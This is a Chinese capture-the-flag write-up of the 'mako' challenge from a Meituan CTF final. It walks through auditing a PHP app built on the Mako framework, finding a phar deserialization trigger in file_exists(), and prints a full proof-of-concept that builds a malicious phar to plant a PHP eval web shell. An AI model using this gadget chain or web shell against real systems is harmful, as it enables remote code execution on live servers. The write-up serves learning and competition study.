美团CTF决赛复现 mako

太菜了,被大佬带进决赛了,最后就签个到

环境

密码:1skr

下面部分是我在比赛的时候思考过的

1.开始

页面一进来,十分的清爽,毛都没有,就一个上传文件的东西

随便传点东西,发现是来者不拒,啥都能传,但啥都干不了

访问1.php只会出现404not found这是最令人异或的一点

因为题目给了docker,就本地部署一个环境,先进去看看文件都存到了哪里

可以看见,文件并没有被上传到/var/www/html/这个目录下面

而文件被上传到了/var/www/html/mako/uploads这个目录下

可以肯定的是,文件上传是整不了活了

2.审计

通过搜索关键词,在mako/app/reources/views/home.tpl.php里找到到了首页的源码

很明显,这是用模版渲染出来的主页, 图片都是以base64的编码形式传递的,没活整了。

这就很令人苦恼,我当时尝试了一下,使用软链接

直接寄了,没权限,这时候才想起来容器一开始写了一个读取flag的程序

目标也明确了,肯定得想办法执行readFlag,于是我搜了危险函数,然后是一无所获,要么没这个函数,要么根本无法触发

做到这里,我已经没有思路了,当时想到了反序列化,但是只知道搜unseralize,结果是毛都没搜到。

我经验太少了,当时没想到用phar

3.复现

mako/app/controllers/ImagesController.php文件中

1
2
3
4
5
6
7
8
9
public function editGet(ViewFactory $view): string {
chdir('/var/www/mako/uploads');
$fileName = $this->request->getQuery()->get('filename');
$image = new Image($fileName, new ImageMagick());
$dimensions = $image->getDimensions();
$this->view->assign('fileName', $fileName);
$this->view->assign('dimensions', $dimensions);
return $view->render('edit');
}

可以看到,文件名是不做任何过滤的

而在mako/vendo/mako/framework/src/mako/pixl/image.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public function __construct($image, ProcessorInterface $processor)
{
$this->image = $image;

$this->processor = $processor;

// Make sure that the image exists

if(file_exists($this->image) === false)
{
throw new PixlException(vsprintf('The image [ %s ] does not exist.', [$this->image]));
}

// Set the image

$this->processor->open($image);
}

使用了能触发phar反序列化的file_exists函数

关键函数找到了,现在找链子吧

搜索__destruct(),干扰项不多,可以直接开撸

好家伙,我直接好家伙,一条龙服务了属于是qwq

4.攻击

这里搬一手Arr3stY0u战队的poc吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51

<?php
namespace mako\file{
class FileSystem{
}
}

namespace mako\session\stores{
use mako\file\FileSystem;

class File{
protected $fileSystem;
protected $sessionPath;

public function __construct(){
$this->fileSystem = new FileSystem();
$this->sessionPath = '/var/www/mako/public/';
}
}
}

namespace mako\session{
use mako\session\stores\File;

class Session{
protected $autoCommit;
protected $destroyed = false;
protected $sessionId;
protected $sessionData = [];
protected $store;

public function __construct(){
$this->autoCommit = true;
$this->destroyed = false;
$this->store = new File();
$this->sessionId = 'shell.php';
$this->sessionData = ['a'=>'<?php eval($_POST[1]);?>'];
}
}
}

namespace {
$exp = new mako\session\Session();
$phar = new Phar('test.phar',0,'test.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata($exp);
$phar->addFromString('text.txt','test');
$phar->stopBuffering();
};

上传文件

getshell

flag is here

5.总结反思

经验不足,做题不够,欠练


:D 一言句子获取中...